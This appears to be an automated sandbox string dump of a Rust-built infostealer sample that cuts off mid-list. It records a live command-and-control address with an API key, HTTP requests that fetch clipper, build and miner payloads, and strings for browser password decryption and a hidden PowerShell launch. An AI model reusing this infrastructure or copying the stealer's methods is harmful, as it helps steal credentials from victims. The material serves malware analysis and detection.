file/memory contains long string with (Indicator: " listen "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") file/memory contains long string with (Indicator: " accept "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "WS-Management could not connect to the specified destination: (%1:%2!d!)." (Indicator: " connect "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "CIM datetime type does not accept more than 99999999 days." (Indicator: " accept "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "and it tried to send again the message, but the configuration changed and the new settings did not allow the message to be re-sent." (Indicator: " send "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "Create a WinRM listener on %1://%2 to accept WS-Man requests to any IP on this machine." (Indicator: " accept "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "Created a WinRM listener on %1://%2 to accept WS-Man requests to any IP on this machine." (Indicator: " accept "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The Windows Remote Shell cannot process the request. The WS-Addressing action URI is invalid. The valid actions are Command, Receive, Send and Signal." (Indicator: " send "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WinRM service cannot process the request because the WinRS shell instance is already processing a connect operation." (Indicator: " connect "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WS-Management service cannot accept subscriptions to an indication class, when either the filter or the dialect is specified." (Indicator: " accept "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The client cannot connect to the destination specified in the request." (Indicator: " connect "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The WS-Management service cannot complete the request because the receiver does not accept the delivery of events." (Indicator: " accept "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "encoding limit. Reconfigure the client to send messages which fit the encoding limits of the service." (Indicator: " send "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "* is used to indicate that the service should listen on all available IPs on the machine." (Indicator: " listen "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp")57:Tca7,"127.0.0.1:34254" "87.120.104.147:8080" Potential IP "87.120.104.147" found in string "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6accept: */*host: 87.120.104.147:8080" Potential IP "87.120.104.147" found in string "GET /d/clip HTTP/1.1accept: */*host: 87.120.104.147:8080" Potential IP "87.120.104.147" found in string "GET /api/v1/clipper/config HTTP/1.1accept: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261host: 87.120.104.147:8080" Potential IP "87.120.104.147" found in string "GET /d/build HTTP/1.1accept: */*host: 87.120.104.147:8080" Potential IP "87.120.104.147" found in string "GET /d/Miner HTTP/1.1accept: */*host: 87.120.104.147:8080" "2.5.29.37" "2.5.29.35" Potential IP "4.0.0.0" found in string "erviceModelOperation 4.0.0.0" Potential IP "4.0.0.0" found in string "erviceModelEndpoint 4.0.0.0" Potential IP "4.0.0.0" found in string "orkflowServiceHost 4.0.0.0" Potential IP "4.0.0.0" found in string "erviceModelService 4.0.0.0" Potential IP "4.0.0.0" found in string "WorkflowServiceHost 4.0.0.0" Potential IP "4.0.0.0" found in string "ServiceModel 4.0.0.0" Potential IP "4.0.0.0" found in string "ServiceModelEndpoint 4.0.0.0" Potential IP "4.0.0.0" found in string "ServiceModelService 4.0.0.0" Potential IP "4.0.0.0" found in string "ServiceModelOperation 4.0.0.0" Potential IP "87.120.104.147" found in string "http://87.120.104.147:8080R" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)" Potential IP "87.120.104.147" found in string ""api_url": "http://87.120.104.147:8080","58:Tfae2,Heuristic match: "<>.th" Pattern match: "8vuumicrosoft.commuid12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comfedauth1d01nazvcrm1hu0nftjz5bfnfbezqafk4cxavdwtargftwutlntjhrhrrwnvnywjpwkg0rhyryun" Pattern match: "www.bing.com/sa/simg/bing_p_rr_teal_min.icohttps://www.bing.com/search?q={searchterms}utf-8https://www.bing.com/osjson.aspx?query={searchterms}&language={language}485bf7d3-0215-45af-87dc-538868000003[]https://www.bing.com/images/detail/search?iss=sbiupload" Pattern match: "www.microsoft.commicrosoftapplicationstelemetrydeviceid/.clarity.msmuid/.bing.commuid/.microsoft.commscc/.microsoft.comms0/.c.clarity.msmr/.bat.bing.commr/.microsoft.commc1/www.clarity.msclid/.c.clarity.msanonchk/69+.scorecardresearch.comhttps://msn.comxid" Pattern match: "https://ntp.msn.com:443,*:{last_modified:13414427483103571,setting:{client_hints:[0,4,5,6,8,9,10,11,12,13,14,15,16,18,20,22,23]}},https://www.microsoft.com:443,*:{last_modified:13414427143794212,setting:{client_hints:[9,11,13,14,15,16]}}" Pattern match: "http://87.120.104.147:8080,q=2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6,se=33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee,v=bp_bot_id,w=bp_last_hist_ms,k=bp_sent_cookies,q=bp_browser,h=bp_injects,y=bp" Pattern match: "https://chrome.google.com/webstore},urls:[https://chrome.google.com/webstore]},description:discover" Pattern match: "https://accounts.google.com:443,*:{last_modified:13414427215996934,setting:{chosen-objects:[{idp-origin:https://accounts.google.com,idp-signin-status:false}]}}},fedcm_share:{},file_system_access_chooser_data:{},file_system_access_extend" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/cipher-0.4.4/src/stream_core.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/cipher-0.4.4/src/stream_wrapper.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/de.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/ser.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tungstenite-0.21.0/src/protocol/frame/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/universal-hash-0.5.1/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chacha20poly1305-0.10.1/src/cipher.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/value/de.rs" Heuristic match: "a sequence/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_core-1.0.228/src/de/impls.rs" Heuristic match: "0123456789abcdef/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/aead-0.5.2/src/lib.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\mod.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\list.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\zero.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\array.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\waker.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\context.rs" Heuristic match: "could not find central directory end/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/zip-0.6.6/src/spec.rs" Heuristic match: "invalid digital signature headercould not find zip64 central directory endinvalid zip64 locator digital signature header/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/cipher-0.4.4/src/stream.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hex-0.4.3/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/byteorder-1.5.0/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/mod.rs" Heuristic match: "streamciphererrorresponsestatusheadersbody/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chacha20-0.9.1/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/aes-gcm-0.10.3/src/lib.rs" Heuristic match: "application/json/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ctr-0.9.2/src/flavors/ctr32.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sha2-0.10.9/src/core_api.rs" Heuristic match: "[/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.32.1/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.32.1/src/raw_statement.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.32.1/src/cache.rs" Heuristic match: "invalid utf-8 sequence in column name/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.32.1/src/column.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\map.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/byteorder-1.5.0/src/io.rs" Heuristic match: "executed_tasks.jsonsrc/internal/agent.rs" Heuristic match: "/cmsiexec/i/qn/norestartpowershell-noprofile-noninteractive-windowstylehidden-executionpolicybypass-filelocalappdatagooglechromeuser datamicrosoftedgeappdataopera softwareopera stablebravesoftwarebrave-browservivaldipackagesthebrowsercompany.arc_ttt1ap7aak" Heuristic match: "src/internal/deviceid.rs" Heuristic match: "local\installer-guardsrc/internal/guard.rs" Heuristic match: "src/internal/passwords/asm.rs" Heuristic match: "cryptunprotectdata failedsrc/internal/passwords/decrypt.rs" Heuristic match: "src/internal/passwords/dump.rs" Heuristic match: "src/internal/passwords/keys.rs" Heuristic match: "localappdataprogramfilesprogramfiles(x86)google/chrome/application/chrome.exemicrosoft/edge/application/msedge.exebravesoftware/brave-browser/application/brave.exesrc/internal/preferences.rs" Heuristic match: "connectsrc/internal/proxy.rs" Heuristic match: "src/internal/secureprefs/helpers.rs" Heuristic match: "src/internal/secureprefs/resign.rs" Heuristic match: "src/internal/setup.rs" Heuristic match: "src/internal/utils.rs" Pattern match: "http://87.120.104.147:8080" Heuristic match: "library\alloc\src\raw_vec\mod.rs" Heuristic match: "library\alloc\src\string.rs" Heuristic match: "library\alloc\src\ffi\c_str.rs" Heuristic match: "library\alloc\src\fmt.rs" Heuristic match: "library\alloc\src\slice.rs" Heuristic match: "library\alloc\src\str.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/decode.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/decode_suffix.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/general_purpose/decode.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/general_purpose/decode_suffix.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/general_purpose/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/encode.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/lib.rs" Heuristic match: "library\core\src\char\methods.rs" Heuristic match: "library\core\src\net\ip_addr.rs" Heuristic match: "library\core\src\net\display_buffer.rs" Heuristic match: "library\core\src\net\parser.rs" Heuristic match: "called `option::unwrap()` on a `none` valuelibrary\core\src\panicking.rs" Heuristic match: "library\core\src\fmt\builders.rs" Heuristic match: "library\core\src\fmt\mod.rs" Heuristic match: "library\core\src\slice\memchr.rs" Heuristic match: "library\core\src\slice\sort\shared\smallsort.rs" Heuristic match: "library\core\src\str\mod.rs" Heuristic match: "library\core\src\str\pattern.rs" Heuristic match: "smslibrary\core\src\time.rs" Heuristic match: "library\core\src\unicode\printable.rs" Heuristic match: "library\core\src\unicode\unicode_data.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crc32fast-1.5.0/src/baseline.rs" Heuristic match: "9q/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crc32fast-1.5.0/src/specialized/pclmulqdq.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crossbeam-epoch-0.9.18/src/atomic.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crossbeam-epoch-0.9.18/src/sync/list.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crossbeam-epoch-0.9.18/src/sync/once_lock.rs" Heuristic match: "invalid length/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/data-encoding-2.11.0/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/gb18030.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/iso_2022_jp.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/utf_8.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-core-0.3.32/src/task/__internal/atomic_waker.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/generic-array-0.14.7/src/lib.rs" Pattern match: "https://docs.rs/getrandom#nodejs-es-module-support" Heuristic match: "2783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/buf_mut.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/limit.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/map.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/inner.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/inner/entry.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/decoder.rs" Heuristic match: "/index.htmlgzip, deflate/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/encoder.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/header.rs" Heuristic match: ":authority:method:scheme:path:protocol:status/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/huffman/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/table.rs" Heuristic match: "assertion failed: !id.is_zero()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/peer.rs" Heuristic match: "assertion failed: self.can_inc_num_local_error_resets()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/counts.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/flow_control.rs" Heuristic match: "stream closed because of a broken pipe/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/state.rs" Heuristic match: "invalid initial receive window/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/stream.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/go_away.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/head.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/headers.rs" Heuristic match: "not a result of an errorunspecific protocol error detectedunexpected internal error encounteredflow-control protocol violatedsettings ack not received in timely mannerreceived frame when stream half-closedframe with invalid sizerefused stream before proces" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/stream_id.rs" Heuristic match: "offsetidrequestedreservedlocalreservedremotelocalremotehalfclosedlocalhalfclosedremoteawaitingheadersstreamingendstreamscheduledlibraryreset/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hashbrown-0.16.1/src/raw/mod.rs" Heuristic match: "/rust/deps\hashbrown-0.15.4\src\raw\mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hmac-sha256-1.1.14/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hostname-0.4.2/src/windows/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.1/src/header/value.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.1/src/uri/authority.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.1/src/uri/path.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.1/src/uri/scheme.rs" Heuristic match: "path does not start with slash/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.1/src/version.rs" Heuristic match: "invalidheadernameinvalid http header name\sensitiveinvalidheadervaluefailed to parse header value/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/method.rs" Heuristic match: "invalidstatuscodeinvalid status code/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/uri/authority.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/uri/scheme.rs" Heuristic match: "invalid uri characterinvalid schemeinvalid authorityinvalid portinvalid formatscheme missingauthority missingpath missinguri too longempty stringscheme too longhttp/0.9http/2.0http/3.0/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2." Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/httparse-1.10.1/src/simd/swar.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/httparse-1.10.1/src/lib.rs" Heuristic match: "[internal exception] blocking task ran twice./usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/blocking/task.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/error.rs" Heuristic match: "chunkedoriginal header value plus ascii is valid/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/headers.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h2/ping.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/role.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/smallvec-1.15.1/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/icu_normalizer-2.1.1/src/lib.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\slice\sort\stable\drift.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\slice\sort\stable\quicksort.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/punycode.rs" Heuristic match: "xn--/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/uts46.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ipnet-2.12.0/src/parser.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/parse.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/src/inflate/core.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/src/inflate/output_buffer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/src/inflate/stream.rs" Heuristic match: "afdpollinfo/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mio-1.1.1/src/sys/windows/event.rs" Heuristic match: "iostatusblock/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mio-1.1.1/src/sys/windows/iocp.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mio-1.1.1/src/sys/windows/selector.rs" Heuristic match: "h/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mio-1.1.1/src/sys/windows/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/once_cell-1.21.3/src/imp_std.rs" Heuristic match: "library\panic_abort\src\lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/percent-encoding-2.3.2/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/poly1305-0.8.0/src/backend/avx2.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand-0.8.6/src/rngs/adapter/reseeding.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand-0.8.6/src/rngs/thread.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand_chacha-0.3.1/src/guts.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crossbeam-deque-0.8.6/src/deque.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crossbeam-epoch-0.9.18/src/internal.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\boxed\iter.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rayon-core-1.13.0/src/sleep/mod.rs" Heuristic match: "rayon_num_threadsrayon_rs_num_cpusthreadpoolbuilderrorglobalpoolalreadyinitializedcurrentthreadalreadyinpoolioerror/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\boxed\convert.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.32/src/future/future/map.rs" Heuristic match: "h2unexpected polling after handshake/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-rustls-0.24.1/src/common/handshake.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-rustls-0.24.2/src/connector.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-util-0.7.18/src/util/poll_buf.rs" Heuristic match: "polling streamfuture twice/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.32/src/stream/stream/into_future.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/connect/http.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.32/src/stream/try_stream/into_async_read.rs" Heuristic match: "tls handshake alert/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-rustls-0.24.1/src/common/mod.rs" Heuristic match: "tls handshake eof/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.32/src/mpsc/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.32/src/mpsc/queue.rs" Heuristic match: "assertion failed: slot.is_none()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.32/src/oneshot.rs" Heuristic match: "flatten polled after completion/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.32/src/future/future/flatten.rs" Heuristic match: "tryflatten polled after completion/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.32/src/future/try_future/try_flatten.rs" Heuristic match: "assertion failed: default_max_frame_size as usize <= val && val <= max_max_frame_size as usize/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/codec/framed_read.rs" Heuristic match: "assertion failed: self.has_capacity()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/codec/framed_write.rs" Heuristic match: "failed to write frame to socketassertion failed: dst.remaining_mut() >= len/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/data.rs" Heuristic match: "mutex poisoned/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/connection.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/go_away.rs" Heuristic match: "invalid frame/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/prioritize.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/recv.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/store.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/buffer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/streams.rs" Heuristic match: "too_many_internal_resetsassertion failed: self.remote.is_none()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/settings.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/ping_pong.rs" Heuristic match: "pri * http/2.0sm/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/client.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\mem\maybe_uninit.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/uri/path.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/header/map.rs" Heuristic match: 